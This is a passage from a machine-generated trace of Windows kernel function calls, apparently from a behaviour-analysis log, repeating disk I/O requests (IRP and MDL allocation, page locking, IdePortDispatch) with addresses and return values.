(in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.297] IdePortDispatch () returned 0x103 [0096.297] KeWaitForMutexObject () returned 0x0 [0096.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.297] IdePortDispatch () returned 0x103 [0096.298] KeWaitForMutexObject () returned 0x0 [0096.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.298] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.298] IdePortDispatch () returned 0x103 [0096.298] KeWaitForMutexObject () returned 0x0 [0096.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.298] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.298] IdePortDispatch () returned 0x103 [0096.298] KeWaitForMutexObject () returned 0x0 [0096.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.298] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.298] IdePortDispatch () returned 0x103 [0096.298] KeWaitForMutexObject () returned 0x0 [0096.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.298] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.299] IdePortDispatch () returned 0x103 [0096.299] KeWaitForMutexObject () returned 0x0 [0096.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.299] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.299] IdePortDispatch () returned 0x103 [0096.299] KeWaitForMutexObject () returned 0x0 [0096.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.299] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.299] IdePortDispatch () returned 0x103 [0096.299] KeWaitForMutexObject () returned 0x0 [0096.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.299] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.299] IdePortDispatch () returned 0x103 [0096.300] KeWaitForMutexObject () returned 0x0 [0096.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.300] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.300] IdePortDispatch () returned 0x103 [0096.300] KeWaitForMutexObject () returned 0x0 [0096.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.300] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.300] IdePortDispatch () returned 0x103 [0096.300] KeWaitForMutexObject () returned 0x0 [0096.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.300] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.300] IdePortDispatch () returned 0x103 [0096.300] KeWaitForMutexObject () returned 0x0 [0096.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.301] IdePortDispatch () returned 0x103 [0096.301] KeWaitForMutexObject () returned 0x0 [0096.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.301] IdePortDispatch () returned 0x103 [0096.301] KeWaitForMutexObject () returned 0x0 [0096.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.301] IdePortDispatch () returned 0x103 [0096.301] KeWaitForMutexObject () returned 0x0 [0096.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.302] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.302] IdePortDispatch () returned 0x103 [0096.302] KeWaitForMutexObject () returned 0x0 [0096.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.302] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.302] IdePortDispatch () returned 0x103 [0096.302] KeWaitForMutexObject () returned 0x0 [0096.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.302] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.302] IdePortDispatch () returned 0x103 [0096.302] KeWaitForMutexObject () returned 0x0 [0096.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.303] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.303] IdePortDispatch () returned 0x103 [0096.303] KeWaitForMutexObject () returned 0x0 [0096.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.303] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.303] IdePortDispatch () returned 0x103 [0096.303] KeWaitForMutexObject () returned 0x0 [0096.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.303] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.303] IdePortDispatch () returned 0x103 [0096.303] KeWaitForMutexObject () returned 0x0 [0096.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.304] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.304] IdePortDispatch () returned 0x103 [0096.304] KeWaitForMutexObject () returned 0x0 [0096.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.304] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.304] IdePortDispatch () returned 0x103 [0096.304] KeWaitForMutexObject () returned 0x0 [0096.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.304] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.304] IdePortDispatch () returned 0x103 [0096.304] KeWaitForMutexObject () returned 0x0 [0096.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.305] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.305] IdePortDispatch () returned 0x103 [0096.305] KeWaitForMutexObject () returned 0x0 [0096.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.305] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.305] IdePortDispatch () returned 0x103 [0096.305] KeWaitForMutexObject () returned 0x0 [0096.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.305] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.305] IdePortDispatch () returned 0x103 [0096.305] KeWaitForMutexObject () returned 0x0 [0096.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.305] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.305] IdePortDispatch () returned 0x103 [0096.305] KeWaitForMutexObject () returned 0x0 [0096.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.306] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.306] IdePortDispatch () returned 0x103 [0096.306] KeWaitForMutexObject () returned 0x0 [0096.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.306] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.306] IdePortDispatch () returned 0x103 [0096.306] KeWaitForMutexObject () returned 0x0 [0096.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.306] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.306] IdePortDispatch () returned 0x103 [0096.306] KeWaitForMutexObject () returned 0x0 [0096.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.307] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.307] IdePortDispatch () returned 0x103 [0096.307] KeWaitForMutexObject () returned 0x0 [0096.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.307] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.307] IdePortDispatch () returned 0x103 [0096.307] KeWaitForMutexObject () returned 0x0 [0096.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.307] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.307] IdePortDispatch () returned 0x103 [0096.307] KeWaitForMutexObject () returned 0x0 [0096.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.307] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.307] IdePortDispatch () returned 0x103 [0096.308] KeWaitForMutexObject () returned 0x0 [0096.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.308] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.308] IdePortDispatch () returned 0x103 [0096.308] KeWaitForMutexObject () returned 0x0 [0096.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.308] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.308] IdePortDispatch () returned 0x103 [0096.308] KeWaitForMutexObject () returned 0x0 [0096.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.308] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.308] IdePortDispatch () returned 0x103 [0096.309] KeWaitForMutexObject () returned 0x0 [0096.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.309] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.309] IdePortDispatch () returned 0x103 [0096.309] KeWaitForMutexObject () returned 0x0 [0096.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.309] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.309] IdePortDispatch () returned 0x103 [0096.309] KeWaitForMutexObject () returned 0x0 [0096.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, 